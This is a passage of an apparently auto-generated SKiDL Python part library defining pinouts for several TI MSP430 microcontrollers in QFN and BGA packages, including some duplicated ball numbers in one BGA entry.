Pin(num='31',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='23',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='P3.6/A6/OA0I2',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='TA1/TDI/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='P3.7/A7/OA1I2',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TA2/TDI/TDO/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='17',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='TA1/A3/VREF-/VeREF-/OA1I1/OA1O/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P4.3/TB0/A12/OA0O',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA2/A4/VREF+/VeREF+/OA1I0/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='19',name='P4.4/TB1/A13/OA1O',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2234IYFF',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='49ball BGA, 32KB + 256B Flash Memory, 1KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2254IYFF', 'MSP430F2274IYFF'],pins=[
Pin(num='A1',name='XOUT/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D1',name='SBWTCK/TEST',do_erc=True),
Pin(num='E1',name='TA0/TMS/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='F1',name='SMCLK/TCK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='A2',name='XIN/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C2',name='ROSC/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='TA2/TDO/TDI/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='F2',name='TACLK/ADC10CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='G2',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='B3',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='C3',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D3',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E3',name='TA1/TDI/TCLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='F3',name='TA1/VREF-/VeREF-/OA1I1/OA1O/A3/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='G3',name='TA2/VREF+/VeREF+/OA1I0/A4/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='ACLK/A0/OA0I0/A0/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='TAINCLK/SMCLK/OA0O/A1/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D4',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E4',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='F4',name='P3.6/A6/OA0I2',func=Pin.BIDIR,do_erc=True),
Pin(num='G4',name='P3.7/A7/OA1I2',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='TA0/OA0I1/A2/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='B5',name='P3.0/UCB0STE/UCA0CLK/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='C5',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='D5',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='E5',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='F5',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='G5',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='B6',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='C6',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D6',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='F6',name='P4.5/TB2/A14/OA0I3',func=Pin.BIDIR,do_erc=True),
Pin(num='G6',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C7',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='D7',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='P4.3/TB0/A12/OA0O',func=Pin.BIDIR,do_erc=True),
Pin(num='F7',name='P4.4/TB1/A13/OA1O',func=Pin.BIDIR,do_erc=True),
Pin(num='G7',name='P4.6/TBOUTH/A15/OA1I3',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F2330IRHA',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='40pin QFN, 32KB + 256B Flash Memory, 2KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2350IRHA', 'MSP430F2370IRHA'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='XIN/CA6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='XOUT/CA7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='P4.4/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='21',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='P4.5/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='ACLK/CA2/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='P4.6/TBOUTH/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='TAINCLK/CA3/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TA0/CAOUT/CA4/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='24',name='P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='TDO/TDI',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TA1/CA0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='25',name='P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='TDI/TCLK',do_erc=True),
Pin(num='16',name='TA2/CA1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='26',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='TMS',do_erc=True),
Pin(num='17',name='ROSC/CA5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='27',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='TCK',do_erc=True),
Pin(num='18',name='P3.0/UCB0STE/UCA0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='~RST~/NMI',do_erc=True),
Pin(num='19',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='P4.3/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430F2330IYFF',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='49ball BGA, 32KB + 256B Flash Memory, 2KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F2350IYFF', 'MSP430F2370IYFF'],pins=[
Pin(num='A1',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='B1',name='VSS',func=Pin.PWRIN,do_erc=True),
Pin(num='C1',name='TCK',do_erc=True),
Pin(num='D1',name='TDI/TCLK',do_erc=True),
Pin(num='E1',name='TDO/TDI',func=Pin.BIDIR,do_erc=True),
Pin(num='F1',name='P4.5/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='P4.4/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='A2',name='XIN/CA6/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='~RST~/NMI',do_erc=True),
Pin(num='D2',name='TMS',do_erc=True),
Pin(num='E2',name='P4.7/TBCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='F2',name='P4.6/TBOUTH/ACLK',func=Pin.BIDIR,do_erc=True),
Pin(num='G2',name='P4.2/TB2',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='XOUT/CA7/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='B3',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='F3',name='P4.3/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='G3',name='P4.1/TB1',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='TA0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='F4',name='P4.0/TB0',func=Pin.BIDIR,do_erc=True),
Pin(num='G4',name='P3.7',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='TA1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='B5',name='TA2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='C5',name='ACLK/CA2/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F5',name='P3.6',func=Pin.BIDIR,do_erc=True),
Pin(num='G5',name='P3.5/UCA0RXD/UCA0SOMI',func=Pin.BIDIR,do_erc=True),
Pin(num='A6',name='SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='B6',name='TA0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='C6',name='TA0/CAOUT/CA4/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='D6',name='TA2/CA1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='E6',name='P3.0/UCB0STE/UCA0CLK',func=Pin.BIDIR,do_erc=True),
Pin(num='F6',name='P3.2/UCB0SOMI/UCB0SCL',func=Pin.BIDIR,do_erc=True),
Pin(num='G6',name='P3.4/UCA0TXD/UCA0SIMO',func=Pin.BIDIR,do_erc=True),
Pin(num='A7',name='TA1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='B7',name='TA2/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='C7',name='TAINCLK/CA3/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='TA1/CA0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='ROSC/CA5/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='F7',name='P3.1/UCB0SIMO/UCB0SDA',func=Pin.BIDIR,do_erc=True),
Pin(num='G7',name='P3.3/UCB0CLK/UCA0STE',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5217IRGC',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='64pin QFN, 128KB Flash Memory, 8KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5219IRGC'],pins=[
Pin(num='1',name='P6.0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P6.4/CB4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P6.5/CB5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P6.6/CB6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P6.7/CB7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='DVIO',func=Pin.PWRIN,do_erc=True),
Pin(num='50',name='P7.1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='60',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='51',name='P7.2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='61',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='52',name='P7.3/TB0.3',func=Pin.BIDIR,do_erc=True),
Pin(num='62',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='53',name='P7.4/TB0.4',func=Pin.BIDIR,do_erc=True),
Pin(num='63',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='54',name='P7.5/TB0.5',func=Pin.BIDIR,do_erc=True),
Pin(num='64',name='~RSTDVCC~/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='55',name='BSLEN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='56',name='~RST~/NMI',do_erc=True),
Pin(num='17',name='VCORE',func=Pin.PWRIN,do_erc=True),
Pin(num='27',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='37',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='47',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='57',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='18',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='28',name='TA2CLK/SMCLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='38',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='48',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='58',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='29',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='39',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='49',name='P7.0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='59',name='SBWTCK/TEST',do_erc=True)]),
Part(name='MSP430F5217IYFF',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='64ball BGA, 128KB Flash Memory, 8KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5219IYFF'],pins=[
Pin(num='A1',name='P6.1/CB1',func=Pin.BIDIR,do_erc=True),
Pin(num='B1',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='B1',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='D1',name='P5.3/XT2OUT',func=Pin.BIDIR,do_erc=True),
Pin(num='E1',name='P5.2/XT2IN',func=Pin.BIDIR,do_erc=True),
Pin(num='F1',name='P7.5/TB0.5',func=Pin.BIDIR,do_erc=True),
Pin(num='G1',name='P7.3/TB0.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H1',name='P7.0/TB0.0',func=Pin.BIDIR,do_erc=True),
Pin(num='B2',name='P6.2/CB2',func=Pin.BIDIR,do_erc=True),
Pin(num='C2',name='P6.0/CB0',func=Pin.BIDIR,do_erc=True),
Pin(num='D2',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='E2',name='BSLEN',func=Pin.BIDIR,do_erc=True),
Pin(num='F2',name='P7.4/TB0.4',func=Pin.BIDIR,do_erc=True),
Pin(num='G2',name='P7.1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='H2',name='P4.6',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='P6.7/CB7',func=Pin.BIDIR,do_erc=True),
Pin(num='A3',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='B3',name='P6.5/CB5',func=Pin.BIDIR,do_erc=True),
Pin(num='C3',name='P6.3/CB3',func=Pin.BIDIR,do_erc=True),
Pin(num='E3',name='~RST~/NMI',do_erc=True),
Pin(num='F3',name='P7.2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='G3',name='P4.7',func=Pin.BIDIR,do_erc=True),
Pin(num='H3',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='P5.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A4',name='P6.4/CB4',func=Pin.BIDIR,do_erc=True),
Pin(num='B4',name='P5.0',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='P6.6/CB6',func=Pin.BIDIR,do_erc=True),
Pin(num='C4',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='D4',name='~RSTDVCC~/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='E4',name='SBWTCK/TEST',do_erc=True),
Pin(num='F4',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='G4',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H4',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='A5',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='B5',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='C5',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='D5',name='TA1.2/P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='E5',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='F5',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='G5',name='UCA0RXD/UCA0SOMI/P3.4',func=Pin.BIDIR,do_erc=True),
Pin(num='H5',name='DVIO',func=Pin.PWRIN,do_erc=True),
Pin(num='A6',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='C6',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='D6',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='G6',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='H6',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='A7',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='B7',name='TA0CLK/ACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='C7',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='D7',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='E7',name='TA2CLK/SMCLK/P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='F7',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='G7',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='UCA0TXD/UCA0SIMO/P3.3',func=Pin.BIDIR,do_erc=True),
Pin(num='H7',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='J7',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='A8',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='B8',name='VCORE',func=Pin.PWRIN,do_erc=True),
Pin(num='C8',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='D8',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='E8',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='F8',name='TA2.0/P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='G8',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='H8',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430F5227IRGC',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='64pin QFN, 128KB Flash Memory, 8KB RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430F5229IRGC'],pins=[
Pin(num='1',name='P6.0/CB0/A0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='P6.1/CB1/A1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='P6.2/CB2/A2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P6.3/CB3/A3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P6.4/CB4/A4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='P6.5/CB5/A5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='P6.6/CB6/A6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P6.7/CB7/A7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P5.0/A8/VeREF+',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P5.1/A9/VeREF-',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='30',name='TA2.1/P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='40',name='DVIO',func=Pin.PWRIN,do_erc=True),
Pin(num='50',name='P7.1/TB0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='60',name='PJ.0/TDO',func=Pin.BIDIR,do_erc=True),
Pin(num='11',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='21',name='TA0.2/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='31',name='TA2.2/P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='41',name='PM_UCB1STE/PM_UCA1CLK/P4.0',func=Pin.BIDIR,do_erc=True),
Pin(num='51',name='P7.2/TB0.2',func=Pin.BIDIR,do_erc=True),
Pin(num='61',name='PJ.1/TDI/TCLK',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P5.4/XIN',func=Pin.BIDIR,do_erc=True),
Pin(num='22',name='TA0.3/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='32',name='RTCCLK/DMAE0/P2.6',func=Pin.BIDIR,do_erc=True),
Pin(num='42',name='PM_UCB1SIMO/PM_UCB1SDA/P4.1',func=Pin.BIDIR,do_erc=True),
Pin(num='52',name='P7.3/TB0.3',func=Pin.BIDIR,do_erc=True),
Pin(num='62',name='PJ.2/TMS',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P5.5/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='23',name='TA0.4/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='33',name='UCB0STE/UCA0CLK/P2.7',func=Pin.BIDIR,do_erc=True),
Pin(num='43',name='PM_UCB1SOMI/PM_UCB1SCL/P4.2',func=Pin.BIDIR,do_erc=True),
Pin(num='53',name='P7.4/TB0.4',func=Pin.BIDIR,do_erc=True),
Pin(num='63',name='PJ.3/TCK',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='24',name='CBOUT/TA1CLK/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='34',name='UCB0SIMO/UCB0SDA/P3.0',func=Pin.BIDIR,do_erc=True),
Pin(num='44',name='PM_UCB1CLK/PM_UCA1STE/P4.3',func=Pin.BIDIR,do_erc=True),
Pin(num='54',name='P7.5/TB0.5',func=Pin.BIDIR,do_erc=True),
Pin(num='64',name='~RSTDVCC~/SBWTDIO',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='25',name='TA1.0/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='35',name='UCB0SOMI/UCB0SCL/P3.1',func=Pin.BIDIR,do_erc=True),
Pin(num='45',name='PM_UCA1TXD/PM_UCA1SIMO/P4.4',func=Pin.BIDIR,do_erc=True),
Pin(num='55',name='BSLEN',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='26',name='TA1.1/P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='36',name='UCB0CLK/UCA0STE/P3.2',func=Pin.BIDIR,do_erc=True),
Pin(num='46',name='PM_UCA1RXD/PM_UCA1SOMI/P4.5',func=Pin.BIDIR,do_erc=True),
Pin(num='56',name='~RST~/NMI',do_erc=True),
